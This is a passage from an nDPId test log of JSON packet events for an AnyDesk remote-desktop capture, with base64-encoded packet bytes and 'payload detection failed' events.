OnyLg\/9eZDt6MPTVm7h9OfY2kEX1lml7vB7ZGrDILma2c7Iwm+2OKWBRiO85DjhkGHzigdTMPtOBrw0IAC5mftq0FfUbyVTBGClmNUCdyRXCSPie70Ptyr45\/EIY7sYvvNKXXimtzLBitHkuxocjHonKwd1VGHtxexGO6HKzrTq6XXAYR5LF\/NVM8pUJ4Bh5UiIlM5hYHeKDnkXWC6BpF7S8nyJWfFQ8E6qj325jLzKQnSgNKD7MtGEIOrvA3ceKZFhOUvP08n0q7+sIWpIG0AndYOsVjFUgVVTgTs8mgrfjfTuE3BX1HPEFKKaCUsISyvJqYLiAVaqjowFw2lvVz2YRxJG+V++afy\/PO4vFEtrt3Wkkh8ii4E+Tg=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1218,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1980} +04567{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1225,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":916241,"pkt_caplen":3150,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3150,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfStAAIAGAADAqAG7wKgBstOUG56PJAWaWcQuolAYIBSExAAAFwMDDBNZ4hNO+msV0sFjiYyhw4CF6xrQ6xUG4Q4Yx2eNRmMFSI115l3+pkfnNB7CM\/6tJrHPVrtVDmXiYt7fUTJQxO2M3lfcJ5oO+E\/WYkTI0vft5\/j7xzg0yIz6X+DUkVmy0o99PzoJQyESO3B3nx6KcpYniDBEkIxuUjvorq88xWpFGmYaHFlLG2niX0l2kwiP0np50R7+KTM04dMQdi1bNJBuZgdzLPyWDqOwrUkrlaoomhgjoII0waPGmco0APL3TvVeDPN+3yrcIKEWRowPN3bog2tSfv8XcgKZBxJDf+fNphK14uVxeG0+lAfamyXT4GLKz7uzJqiMroM0gjVavETopGAgZ2Qf9OTM\/6Baij1TTGSYa4r0qDzAAaC7I\/GnAk373CYn8pL84BdhIBliXMjNmSak57TVbgsMUh78E0ydVYIQt9RDww6EepED7V3XIMZ1LZ444ETFOzzONdC9y78IQe881B2XDDMSQuyQFweAA9dD64kippA+5mk5GfTsDmhHGymUXvrqWSw8In3GqwoEpKmiMBIfoGgbJ2AEybrDRV\/EOd5UZHzLWN+ZvPWiKsTQ+1ON8essNdlI1+gT+uSb6RU4mFm7qFE9e7yQWnpEk+1AWwbyI07F1Bu9NdfkTL0o4hsoxZTfgDiAjdFo7+EjzvPYQK\/YYYsqTfUNpXT45MjkykTDCOX\/7hRZj3KXYfuyycwh47EbhF4zKhbst1OFy9+Lo5bFOQwfOGokdupgB8umaTNI4RaeB5kLEr+OyFCa58BB765DhIiyAGkHmUU+PCAzmj0z19M1KPHfvOz9fPTer9JBbpWE\/eluD\/ixI3f2MM7zydU6bfzu97knaEvG\/R\/X32aLxdq+V5tG3kIdNrzbrJCF0TFSpeSxr2ozu16HgkJGuYdWla4G2bAzTS5oMfEgeGEZMDNPdpj4cGB68spbLBxcNCKY\/hdqH+mu\/y5HXxPRJzUu0KmZ\/B9c+EQ8vUWfxkP8unLUqC59ixlvPsTsq9i51abQx\/LUZhZEKZYEPU5xD4AF8ghidA\/qSJmM2xGYPoH0zDGVjIvirH67m5XUJG\/KJ2v4Dqw9yNm2jwxgCGikDleA+9mtIms\/nOA\/B6C5Mx+yVFHRhsrin6qTKR+0lYV\/riwHr0f1Kt26lBy+wXm2DwRgiMytzprL9x8H4R0\/KRrNHa8bBit1CCQjhVQbha6WdLL9zJAEPHGKBCQQ80XQX7C+RlGCthL6m8fojoqCAgNgeIdSUDP6NIVVQP0CdMLpD9pOTjQWJ6fq7zdgMNTAQ630LvZrakMjLVhDpkf2j0NK25n+TQpBefQdtVMC3DqD+18tuDDuxWnta8TnpbcLpgxIdMBRnDcJld4DMDWvPLgfL5zVSqLQ\/Hj9RVncx8AlUX6QiGAIH06lzU9YVrGxtLpGCOAWd4JIDwCKAHlHVtuG9r0BerynrkRM6T0aZJID65kBE\/+dYOM3GH0cUJMhYY6Vuia7AxEkxiVF5NoPxE2sMiNenLxdKsVXTtd5cO2G0bTXb6jOvGpRdt9Ia097ByZm4r4My1gi5NH6ntlMUsEpA0vcbRvDPl6\/p0K48DuSUaLRC4w0GkuBPuEPWke8a1xr9NYdoHCYWlIl06utg9sWVZxa1kEgvE8iYY5ojB2LegQ5zaH9FepTSlQP0b0+tS6Ip\/klWf4Oe+VQ2JAmr0DVYYmmO81kWUg0P7feAUJsMGwmGW4IiElNiw7NlxfiJc\/j1pGPtggjCtwA+NfxXvKpzXlaeHosrBgV4nMKBHC9mWle8019hBTV6MgYV5sAbJImnJsYmlpfetGD\/1QNqv1pRpyvdK4usSy1nwX+4DTOJ\/8L4mAh49j1b\/F6qsoqGQXsmCkpocvg0I0HPBYyMGtI7hju3z9Lr6BbmTIK5OT7K0K3GLnIKQw70UGTC9R+TGFcSWzycd\/6FR8UmWP0AxplCKbyhHp2MAdCP20YccHHGfE3Mybu67i1lqcYiz40ZR2uNPg5eAW1RGGK7T9Fzdr62pW+MIiLF8fBqM6dRplkB3ROll8O6uaXeqQATGGcpoDwE6E2aNOa5f7k5m2v13oC1aNvs2VlRZjYWG\/wTZgeJMNpe6IRNXQB13lKc3on+KF24Qq9SSOBMgmH1QiXKnkhxWUQKPW0vAqI\/lkQNMwnxIgAfELOe8CCefi3LlR1t+mKegz3VZsfjwCmWrQVlb13+\/PI6xNkeXOgA5atmuxR4s4y1l6fTkW7KEQDLgvKaGwLTxrW6wA3ErnlF6crJazalwO\/1EBQQpwewwwNZ7HEIXuTiA\/7F7c34Fjg6ha28a6d4sckO0j0bKoYRjnNt5yOXfKwk6iEqQ3ErS\/dXwyd8ePHtqxnKdb653XpMFdSsbOPNGlBVww6OQDoU59VPtCeKER5rp+EGpqvA9y+uU7ZzFRGc004dGP40wfO2Dmhewap6SQp4xgUyVQOnL+Xk5YZN8ZRmWnjJI0En6IlQKYAMhXO9ob8eZEKHOjkSU+NJko9yr6QXKPsr4v010T5qsvSxtA9UrBbxH3aBOHpr8DbvCDg6IiMY68DRqb9blQ\/SBt8orlGp4ds2uodTgJGFOJYStf+8IN9XSF9QO1wPTmQO41cqOTWyz9b7bf+PjseApbu0KCeL0QoVrQTIpIZix9lyHJ4+4priUpK9p7EzS3+dLlaSJndgIRy0FWzzgl6Oz2VL4gEZx6dr9ToXiNTlFDLABo80ICOeLXCZQ4phZH1T0t6rg+GHJvXdVydhLMTa7rmIJG3Vq+YrCJls7sRpmFWP801OFLU18w7WSZzPFxIbSa6bSy9cyr25QySALT9xrPTnzcjvCemsg4z45oaO27d75HrlLuaLPFOxavpSFf7PXTdGcHFUuewFLgc4Z3iHNUDohn45TuomA4RpEQzSSh9MbJXnHCa4VAiDKvDcdvzmxA3I6mdWoXpM5Spv0uyXFYxcxt\/+R0LacjP6J999Xr9+B3wR5W6q+Mp\/FMX2eY0cbZ6g5fJ65G0\/60JS3JhWtKh5WyXD61Ib\/mayoqS5v29372V1b2nGUrFrR0JTerGTzCfDAhHuxmaknrY5fuaG1LY16SV3jenq0eCObayO1pGE5+J8OhjBmZo8BTtnWRykCNWsHVLH9KI9gh8o5GDJkGlB\/bRGA9Knlu2\/Go6RR56drTFxBgVssask8iNMa+KTdYYzSnk0DdgmN+BhvXnUl3qHg8yofZ3ugU7MqX9JKr7WhrwrGC8w5H1XucG8X8xO5n6\/kGbFbZjjlG9RZplmWcqdqrbsPfzWLFe\/\/0\/5IrQbs4KmebK21YnZbh+2p6w19H4yyn\/DDwmEMgjLrMGxT+vp2Gdi\/l+h4ptrvLbXMI9Hc30O4vwxdA07qyKFJ7gdh6MKr78s7alF72t6YB2fajSGG8L948L1E0gzB7nIi0JwOWal0MwxvS6SoTrhQYurUTt6\/7KSkPUcfxOMpDkSrQRMf098NBFkgIwzHImjSToxUuSITvlwcoBzxVvtJc54FuCxWFsVZrZqXawo1RLib5RdUbx7nOGrU8xmpWs\/Sf2g6m37fKYFfCZjpY3CEwsXd7AFU2tQ9jD5LHjwxC3n0ctYllOUtjLHL0OjN8pPgThwqMOVDSWnnpsLO+DwY5KuUaZT4hOx5oc8PE8aPBDZjQUXwsw80toYUInwdSJyh69gJu3NRbbe8\/uOqigIQJD0worbcQUAckiDDxgYv+z4xoVxaNUfWLnqz+shT\/vikvPD5lbxGOU2fy5Uc4dX816WIs7G8uGAXlBnODg991k34PHbBQuNhhBga5\/9uZ8l8Y1pj5oZ4RYl67VlF1enQCNAqBcz5pK7Du5xL67NR7sY6hMvx5R61eA+bYwhjzJVMDgVUc6TaQ3MnvK99o0ZS\/K6nfF2huZY\/DZ8NwuEBhJOCW+W5OVFR3iGHO0HgMsTJPFu8s+3Y4FZlxx\/JIMuWLd87o8Z08+QQBjKG\/LgMxP49uXiG96qwa+\/\/cKQ+FXIBAOahnRo4v+PsUux9HCzSIXX3lKBJevQojLjG\/uK1O0kK1ptnT6BWuMpIPwTmgcfeGxf5+j+5PSttbACRYkToEirzUDpd7+S+k9t3fSJYqbYDbhoJuq1O1MpnY3EF+k"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1225,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3116} +07829{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1226,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":916742,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfS5AAIAGAADAqAG7wKgBstOUG56PJBGyWcQuolAYIBSExAAAFwMDFXlZ4hNO+msV09ljfQhVzOvGPHwm\/hFWb77fYAbiJ0bcIUEEFsWWHFEuzcm27NfU1LBSbO1Wvgz6nB\/UPa11WWzCgsH2iKEUWNSS3HMtyZ\/0fEBDOJ+50CDjEt58i\/93bnrVT4BNzMKR4oRtW7dUxo2MVXdTVFyJNtEO3+eQRPcvTfYb1ogaguckdDd7u8h01HdAecpYF0oFV+3Fd5xwg4AD2LS8Db246ZUhKG1fqr2t+EwIDjL50rDYi0DTR2oolwhakypZT7mjzGACW45uKu1WH2UAQMPzaWvBDrBb6UaqWnAQg6w+EuCLMoJxRPoRzsEOKP\/Wg8othfhEEWo8\/qIx9ZRe0UWyDUf6uYgzYdZmN2fOwjOMz+ToPuxDMs85pALXyU4b8OIP+1LKWtqmypDSCunhKWGs7bybfHr8IOVeB73zPlCtI\/n68CiXit420OBcvE1MAGnI2MykcpyqVDvCP6w73QDFLOSFa7wOVX1vJsc9Nph9cXs3MGrSEufzi1fYxpdDoLl+BR2SutvS88H5NEruscpe5ECQVjbgs4Yao42Nan1nEEX8PxmcrHKCMTlp9zSCBpv6K6eOFjv2zC5aqqAvQYurpEqo\/NZhdItjEVTWVmKHohS6QCKX8aJetcu9i6rsnwX9U45kF4UjqVmeyzf2MKAfT\/e+\/G1DW1XBJDrwp6VIFebPETXqRrgSKORLt3nll+CK3Y4gcT3Z1fq4gPIIZgZVKgbXr1raGgphZH8n2OHOlKRjOpkbnlLrsBsDZWVy5jgmF+r5qaets5sNFcolw0GoDJZwwhAZNr8sjbhaBe8cP5WuEgrWkLOIbxa4T6M6RLoNFcH26uYbTFM\/j0xHyWzRouJZmSDz9rv4pxCSWB+F8dvr2JTjjEZoow1gRplU5g9fzvqUDRefs+vwpHvI0NKWuprUNpuPR\/Tw48sjrZanHAvy9EZ3hv+tdVcPQY0m7Drp1FnlygqecbPjayHVfUMdLuu9auOa3hnu1vN\/YzZ6NlDOVNt1g2+c9yenW5DJyWgHffPMKcVN0MeY4Sz9US8XuPwXrBTvfpxkSjjyP8sIdgh0V3cEncHWsHH0Hoq+PNvkNoRiImtM312PvfZ9+1pSxTvXxarwUmwiFLJMssSDmbMZ8LWR9Xq+9nLBjRINxcoVXlkCGXs0VqSie4bbrkTSykqwopoteEux8GG8DIm\/lD56OYLxqEQwiyVUkTbU\/edwnPq92vCha1JyHGhZMxNAIzPO3feiUrNnZuXzELxQT0Yqt+jnSvsLUG56pNmYCzvZ5Fs3bgGvvqqVWeaFQbvCRT6WXt2hwRqEYPTLQpyf0JR0oYasHIYNSedZbNyR384k7zxxSOSQ16wNxiE0kuwMjddZbq7DOq4GPyhuqayd6vuNtM8NgZeOoBOmdhi78ID\/jBIYjTI0lwIWjC4R3y02XjVz+z4zBR27GPr04bw+j7CE5L97wxhlkjbNqcY5otnS6y7lWg5lE189TGXx8lyqo43aF3mI2ZBTNgVadZTYm2RItZ1nmowYFI3rDOgMVU14JpAtDp5uaFOmmsKpW+z9pAOxDwVvUvvHKKj634M9xlvevAr3wEbJrdr3mAcLWy0RtHesNYbppPRs9ozUoy46W6pDUlSqqyLtv12Tww8tSh4GnKlsnageDKDdwi2tzQk+Quuzxvq5TFCjvVTxlNaBfexB9BXk9eD45mCe8+zytDEjo5kJVfqVkDFazGmSYvAXZihwzXvVj\/Gfp9y9ZZGfPONaTjF81\/zbBMu\/vxeFnr36tAuewRjycT2COo+ofjoMkrshLBHZudkBXW+xvPuK0P2Ejph3G6jPeHkrLL9tzl5EJnNUETW2eKc+C8+1eSYZPxcY0C6x3ss\/\/0aA8wOw4m7PverM8p6U53GQCfrn3nPzbDZA0KupJE5w\/R70eHVQ0oFitS4a8\/Xw93iqO2Z8D0qPgiuLc0WvFCr0hkoN1u52beV5bJL8F532kKzncy3c+3luwRhmBEHjQ+QHa\/k9w64We+ckFvZ5CWmY3TlN2agdc6JEan0ETb6X8oPtMBGqkiTVHBotnOaa4mIkbZkqd5rpEVyTLROCFxFJBeF\/bMPOsxOwJcZwu28hoU\/kqU9izH8Tt3a46PcfgSCZ5Z2hxCEjGiQELTXjAzl1MGugh\/1cqo+zmxNVwQTConhFkhpWKIgrvMVlNqM2OgNpA09JMhLqfDQMRYzqUrhevFePhjYfxYJXs4p0Ca34SsF9HJXL80BLGS\/1yYK6NRXLSvrIdJVAEZtb4XKSV7EvH61zf+RK6jHbx8jM+o+H2kJnutquNUcsK4jIfvEb2g0QKPieMw4+dP8awf+36e6Ai54DXl70ZN\/TwG+1z9HpcSptMbe4nyL+HHTH1ysD+eqmB5U3jSwKI4IyUGfOC4Gjt8kJCSPt3M0cw8z8G4qtrWKtOEWGaHHa4HWhUcpFdMd1L6ZrSZUJQ7MUPDZDxbuVZT5WV4E1yp7EjrTAcx\/CvTb1HYUlH097g8uklXu0CWrAN2AQbtK3QNwIOwJdq8aXOPnxBarS384CNr\/zIU0t5fr30WFHWTxKOB+VcfbuhVutL36ak0PP7vrQ54ABLuKYkLhdE38wwlfd\/hlOPlKXFSonHIr7vjby7a+spuGDy1NtRFK+oRpHOgL4UkIANsYWMdSsX1SuQcTwWXlAmUkfSMB1sGkHcionI2Cy21224AL8TeKc43fzzlbLLlkp79T9B1e3eNUZqREqUxftB\/RaH3KHdPF401u5ao\/gyCCt9c7iPZANMLqx7Xthp2Lp\/NtjOn41eJzLfwoaBnENoersXTACI\/5IxAKfiOlpW55xx3EFVA61rTdXL3vUOZuuc8yXA++TJZaK6raFMW\/uGR4io4wtAamHrImz0SIr8TYaFrMIXwtnas+mKOu0HfIzTTPpOAnViJ7rWBK3p04lFFxCG4hRGUtPj7hmhaD8jxzesBKcOTv3ykNK+6ze1nJguTIOaibdCtK7PICdUEmKY5iDKNv3A9jkRYgi\/DbkLjXToMZb1SCuJhavZAXFEV4eu5d67Qy4vOuyFDta2m\/RK0NUfjkp0exdaKqlk021Hje+jt+hJAWNtNDerWvTYAFC+4m36EeilRNy0z6KT6SxrdnZGl1TXypScfB7R+SUWm1JDTG9H7f9BYvuOqrwnl+O3wZk2IZHLi7NO\/kZ6DaA6r602cTLZDs9Rn3rMrZkELmMrWvbNRXPePfpURul0z2Yty3OTtsIynEEtIM1tCMf0snHL1yy\/by1Orb3YqDwlVVmy3Tr4IkF6sfKEO7YrmWMWdvAsok4Lp6Uob\/Yrpq7HWfGJo1uF3t\/cybmaNGAhUIHdRlnuj0UqlgwtpCkwUjEGUi\/M2U6slDd69OylGpBys7y3sNMmhkd7S+eafAnpKtggD34NpkmMHXAcKw+JzfH\/6o\/e0YA7kdQCLM97IGKxEF8tBv1y9nBuqZEv7k9iRJAUWUlU2iSTVtz5jQofEVjaNxZG8KHQw7LX68+tFXTLww2cD5T7ej9DUpNFRbmZqS5+\/T4eVozORcDpqp7mIotCXCNHwpJQ71Ds5uz7b4e0Jf1Oi80dBUU\/jhGptZXs7ksMNjiTvA4aWEtrJgoiIY8Hmv3LG554MQRmSrxU12Zv1N9LJIe3V+woyDBUJd9ARFsoneNml7AUqkyhsBabtOhAL+KFuhe6XaxK32D6wzieVvoWBktHvxTzqnR6F19PLqCUsYowR8TFsHTeCK5JA7SlqsSjO31KscpmxG9Fj5eO3VGpIKh++tTc7mYYzwl\/ODNrL9pKr\/C2G7KGmw\/rrw7ihGfpgvG\/q3vnLuFEZ9nqGAN7nTN3Ql6EZcG6JlyfkBrOaiqzBYnqmITn\/fbJ8gZC252mTwf9B1YxzH+anyPHecQ42Zpt4njDdHLNk3FfGsJyMEonRwU0ha3a\/dPUMl6RBA5h\/VRfvmadhOd+7OEEOZR9NfnnVxdii6qu4zy2eyPmHRAPM9DOwpmdOqtZNINbuqXEanEbrru7XyxBxsOaLWn0yCtUHkvs1cYBK9AOa2OX36n1vqTR4+OCVBcFvyIqCpzWTlReTdBiHIUNudJVgQon8+Yhii1PwJqidONCk922d\/jTIVnQ6ZE4N5VUkxAVT258RA70tkcL8LbJlH2vg3AcyNjlJl2YsoRohP6qQkDYr7EP9Fd3YjwB\/JKLtA5n2KINaHqLVZy5yx8V6K13QjGSkx\/Hqpr39ZeZBgkmEZ7+EcnggiuWpe+v5D4abc5MWE8YSosZhjG6qcWgeakz8bGptbL6UTpU372Py+llmNhKMWEt8CKCJzDdtlKfSZ+8Dj8mhQazIWOgUrCAu93m0+KbRnJDElaBWR2Six90WcBWHVLKHAEeocetK+fnIYvdeiz8Y\/gK\/2RRg\/qsGukuR6Eyj9mBydzqTatiM1nizJm\/KXVQyOJeBIpJxS8Wk0OXDGfnDoJTNQduUZxn3xsI0Q2fmDrIO\/ne4edwRPHaUKDSfQj5ivFtJxgqkOMjobgmh6gXy1Av7Ptme8VBIeKLL0kb9BH70987IY4qwSTDhfYXXslmMCftVrK4eA\/ooRYemouiaTV1ZTahIRH6LvUw58NvHnSDFcD2RqWXF54L3S7jjGhUyMImYIehde8ZVRMyJrCzXBa6rsgG2IoDUGiemQqIIsuYPg6+1TDys\/2MyrgZ8e0IxhyetbwwSS1Ux3q2Niup510HIdxLpPRo87qtk8YReL8Cp2xBi\/D5lzdMJNz9Jz5qyFdG\/8M4DE2dEFLDTgETaYsQ5\/Ixn0rYkuEO1NDsv7t6ZEZKu5wUdl4YdEF\/QFmyPr72WwHVoMFtQBwbs0YrP\/xNS+xTHS7Wbq4xxvtT4uzuHN5WAECNiFxi6yESFWgj6QM3GqzmlZP+RG0ZBZW43Dm\/X2FEmtI44GRVFU5PJkJHsy\/RJAJbbS5vSe+zQDJoOUx2f\/KAXUl86ozwxTc7qfKsnZuzv73HVxC0sq5RF0V4RoxDfuMdT5fzxNcwYnmukDi3ZHu2FH1eUygtEszDXGuDOYfXe2YdzgmPKlUsZUw32rY12e2esPvm5S5FzAKH3rMxyu6BByjYVAksHYNpV\/n+x2SyqS55COqB6eA4g\/d5yY0kdabFlDKJXP7s+h7pm1kipSOfy9ds1edPZnPacBqGTG\/8qf46c2Mo6AXzZClyjeXdJ1Ep758ew\/Qrfdu4bOom7j\/BceKIVRZfAZKos1H76HUEaSWzKarlSAM3k5x4piuFfnezsbnF1Git1MpDy80zbD2iO1v9iq2YYXAPMV6eIYgQTBqM8F32Icto6103YwUy5pYhqnvXc4DLHZjV++xAVN1DG1dc7gD4h1\/pXNJrrQQjgDPplYEnVVhxvZI22ciypmRSKdK6m4VWQLjfXCLeJpqGSWTIwsR8okWFo\/RjmeFcMMwlW5oxKTDjnpbf0SngSmSonjHSKgw9L+ryazp2+DS49WPdRlbz72D6nBJ8929rXsIROdvyHnXSuqyG\/o9xd02nNAHN6pVssib9zMOlBHRSHDe\/RlKudpZdDYGHYvdVoqbpSoW39GLpqnLoD8GLoXCpSEDKRTqmbjLovojbW+fiRi6pfThzOBdJAhEvWQK1sWHJsufoa85mE+cxVQQ2p8RUKJAdUe+fdqaVW1kvmI5Lk8T4COaLbIAn218cd6qvtbLv0mHaUwtaSySIj4mIaiZKE7STA1mb8cXnb7NPnQFkvYkD8cDk460yYyY3aNaWZkJScge7QmJ1mgOm4HlW8RtQRP0Uc3kVdx17XQhfGF4ZkJEmeIDdwxO98VaSKLFv6BhArBe7mDDxCJeLZod1\/0uxrvwW3hZvlRPB+4yWGYhyq2OfoEdaEhW\/\/OYSovh8zW+FWWDUMrIqWVpR3QvBYpsAO9pdzvqR6LxJxmuWB2T5xZdsQcIHeB3sfkf8ji98ft9kVAn3Xug1B9sbpL+Gkvk7\/rJ4bygKt5Z\/8+oUNOPPJP9eBsSCidfPXBL87YroVOovyAf93XBXFss2+goJeeJGMKQcT0YdQlvYh+BTgt6PdnjFrUjGJSbnv7i56oy3+pEIdTiYiZVVt9JYrw23oZQ1dbRfDIhYPlxKeAPdayQFceiGMZxJk2j8BObJX0ELkECRLCmwjMPy7630968GLNCg\/vEyXnPMb8\/U+PVyW+wWGXHbS227tEEGlEMMoh\/IVhwYjvFj1UJ\/34hiJhJ0fcMoR4oEL1+JjtBBpuEcWzdOG7tM\/F+\/c2e6TGzWoC4OeqI1Gfez\/V9dhafRvrIyPVdwNvGfNiOatS6mIuxhEeM8zlpja3NL6+pLTaS9eMhiQ\/LOamduepazrjhDJ7RHON2HUDUzy2NWP8bo4AUAQ+gGGJZOe8hvZSfuxhBgVO7gWcYlNJkWi8vroOqnC8vn6vyCThwaL\/oQVIJwoOk7FUKoMn\/PeQ6\/RGsasuDTcPizWCBI\/u82YyEc05So1\/r9GX6T3QtNlPVgDeMhSswV57NEPWpo2vLyaWjXhMqaW5BAGWOAlowir\/z7OlAB0IeBOigks8skjaAzRIWXxKnbjtob9cQcd15YjVtjY6OISScFq7LBhc2CpQDrpyj2aPJbpP\/6aKpiotxpY+mshsggaKVQAHurXDNX1G3ZkZQ+boIiHSkGMNrtPE0LVQ+vbMg5LOnSdue4IHPALueM+Q1V0l\/jJYXL5J\/THtKfGrsnT1lO55PnzSY1hP9pzG6hdrk2Jkr4AGeBZHNzbOBAlKC9rBlHYcoSkquiiyvXSCKYUMfTEweSMCA82y1Yxbae7\/NWHhqIvTrMG6OptZAQOK1zB+CrH6z\/wbLxuFmdOm15g3kSX8YP7z056ebXBIz+HX\/wBOtkcO2jmw\/ZwyoQPzBgqN01Ziulh3zmpriqeyJdvwEpTzQIGt3aBFa1GfVfoW4cOsIyekXAY20+zRAScbgm972weJ4KLCOzPpf0G5tlwNLr0k7OBrDUNVClSMvvpf7xGr0\/NYIjrdwqRCsSV5XYQBO9LpJW1i9q4blpkk4MkEHJBbMXVO84jZOk9gpsahHzPkw3N5vZdmC84gXphAdhk\/bw9j73pN0jnUi7OSNa5dzo7NJWwuyQ7MaiuwpBzEVG\/OfQrx4noPMTbF5XLhyTf7ZeRd0S61ekqG\/zu0O6ZHGF22HQSydQwDs4ElCXFvDxV8Iygbou+jk4LcICTYnd9aP22pHV2PC3QVYgUl+qZleo2\/\/rWrQzbCHgtZ7\/URhilaQF5W0mzpU195V1aInZjmL+XHc\/8B+z0Qe0Vqu6nwYrNAGv1sfDA9GTekThPpmTvHiVoBC9HsAYllNwKGa3HUe"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1226,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07819{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1232,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":918150,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfTNAAIAGAADAqAG7wKgBstOUG56PJChcWcQuolAYIBSExAAAFwMDFXlZ4hNO+msV1U0Z9qyLxWtJI0HOLL5WwnEqrPI8uuj3IUi1TbvsiCmzWwj8nIe+AxyR4brUaMBScuiZOzaPIvBQh+Q9EmewXjbXS69FzgIeTAXYHCIBBGx7pAeOCpHbPxqsHKSuzRG2zH9oDeezJvd+cN4g5k8JqlCMni98Nxhzu15q0ZgizZXNVRkbytKqbwb+VYbxO9ltF+uV2MdlfPt92jMujrjhyEmWOsBl4097geEzIHxMcasNp2\/3RE6ECx1Mh\/2PaYc2NOaPclLoGVEUNBIVDeRvypUy3rVYUJ3ocJBOcvYs7BGjgisjB5sLra8dN3nz\/Q19GZeFDP\/\/YIB1EJP0HNkAZneTbGbdI1MZSVeF1Cn5YK9xIAO2ANZ6RJnBiVgtvCpuIqOEHlStIDl2mSPuOQ8StQXEhfeLssugi9NcjsLuJkvCAljbuD2Y0T1ePiUpvl+axGD8Zd41Um\/E7vsEwWuAme1DHb8RdQ8amECbJjNplAq8lb88MfGphIfq4Mgc3KFCoEq4UJQmVffwaCb6o9NwbZrKhb+vXQkZ+Bb5Hbzn+xKM9V+38mX2ChY0+E8EFGwW\/sqJQxrvlahbgrA0QdtZ4SihjV+5ICWBPFV3AP40QKAl2iiWI7B09aYjcKMvyKdMqSRlbLtaU3vDP3MpA21SnfiEyxsBqUx3NFfJvATxHN6bGSccwu7bbQQ3uNreISEYpGropqzuokf7afy1PU3wNWAfext+mV+nsigBx7UWljIAQQ5k8na9JT6cRHK2Uz6tK6Ix1bTJGNSVJYd9ihVypkXQIOrNg4KFcxk7IQVVmWSedNHUVQtq5mjhZ+tPyqDiP6QD2n6SE+DVqVV0DLb5uiLKWhvkW9KlckNdA+1EmjrX6vSC+HPgGOZpO\/LHdmZh3c4aVHQbaYohwyJ1+Q0VwznRIP6D3ng8UkvotV8yORji+\/a8QWtYk4+ueMCoeikuXYNrN3ZZlJcMjRZmncjyj49Iz\/MGYj8RaSQqEk0a0HXMpHwM5adiLRd23E4KwrSycstIdIurbIiPy7KjJAd9OxrQ9XsX\/EMTC\/RVBFPGe7N6pWZ8\/FIaLfF2RNE8iej0l88GgQaJsVO0CPhemfUHg8RRNy2oMBF8rckMc1T+ZcTD8OpjOwcK0OZvwYHQMe+EvgfH+nrHazeXIs48I5EeFuf3vRaGz4zOBiySocxgUl4dnMg\/mWWcUWj8oYvt62sEVjU7UvTIv5plUlra6pAnd\/za5KFr6kmuLfHjkMcOARPUU\/AMaJV2VselMhm90i0e5VKmxUSEXOcH8kWkxnzQocO+nafuTTprwg1S8GqxCxGIRmXSbMEFcD1LkqN465qheiE1XurX+d\/HaZeQYBkPbVvKJfaoeRbA5biFGz0yFTjiJ7GYQCE9zF6yoIHobVccK9zCunYHd\/H07CKq7ysAvac+clByrlEBVg8S71TMFU2TvBttmmJTf5BirDg1tYw3AHF+akdBJFScfjOaULhftKgneZBkq4141idOqPMe\/byeMiPZQhEnQU2QqKOwIABVCzIVStPQZx2WkQeHyG2KuU22wNwCb31NNO8lUQz9ntNuRks\/jOHkzvy5FJhB3KUMM984750MQT14PMWME1EBZSAHiRNj2Ez49wfJW+bwmTsncUsxlqJUAvwvegwIMhySs+qRfoUL2Q8N+wsgaOt3GxWWUIdlcR8Bbe9kYMNGHM++GCdVQRWqyJekInumAOcDko7Z\/m7sebsLCR2Y1DDuOx6C1p4xatN\/N8CtuNEoi9tIaSyJIGGf2pCJlfDFtz+YDlEvkhrFP+04EV1sE7awa9MBt5MkCPPZ7cFoel3MaTPI8Imr3W97SMD9TPCeIFsnO\/Mavf4JIRL390ATxUc8GNNH2W5oGD1ZMAtY8vaiTTTghnCJWwkg6\/DHCixhNFwSnmW1ZtOcP3XFK7NSevOwn5gpwvOQBFqkTfofh72iPczSzFTZ\/5Cy+l1uP\/aYBnyRZLjicXQpcTApEtAnATAHLg7\/2Ubi8WxPTUM2qSL1+n71s9ZctT7EgNWQyjqcwNAdTUqQK5zmMIK1FXn\/\/KtW6FjcX4HuOC0XEYynkK76C+xHUIf19eCc6lttiTRUuoLsNXrEoiiALn6NBfI\/NiCqKjT4ujDyhn1L6+Wt9abKxb21hX5ToXmQZanmsmmJ8hFQSnR\/Oq\/qot81ArwG\/R75GFZIy1mfwrEFPYQlqxp9atsRhe3+0\/NFLKG8+wg6JWY8PRgn5xo64PEtXs56NEcQ+YYo39pCKQa5qVkcVF\/0S6g0t4SCwE+SvMTO9WVZCW5IWISoXe3eYjZ74MZRTWB3P+P9vQc3Gr+YBiK59mn35yOe1fv9i4+6cWfyaNPwGQEZ8NPVp9FoFi14KNqZIhMoqI6Jk7Z5rgtVBg71fWxcX3CATgC0KIsfsD\/9e2CAvF35hQlANhmm61r\/bvlNHEsVEyrWAhxY+fPvUoUSnmsxCh+wRbW9Z9ugYGsntpxjxGE+kMFNX7UvNOLFGt2MicrdPClPqqPzDiuDV39v+k\/yUvT5ZGCMWqCsIjxOQcl6NVUuMpskYEaK2peahTgHuU4kqcavgPKYi6WtMVc49N9VBRaWXV2pgBKGZVzVT9o1p0AQWwOCK4Gyw84pwxboJIsF+qAZR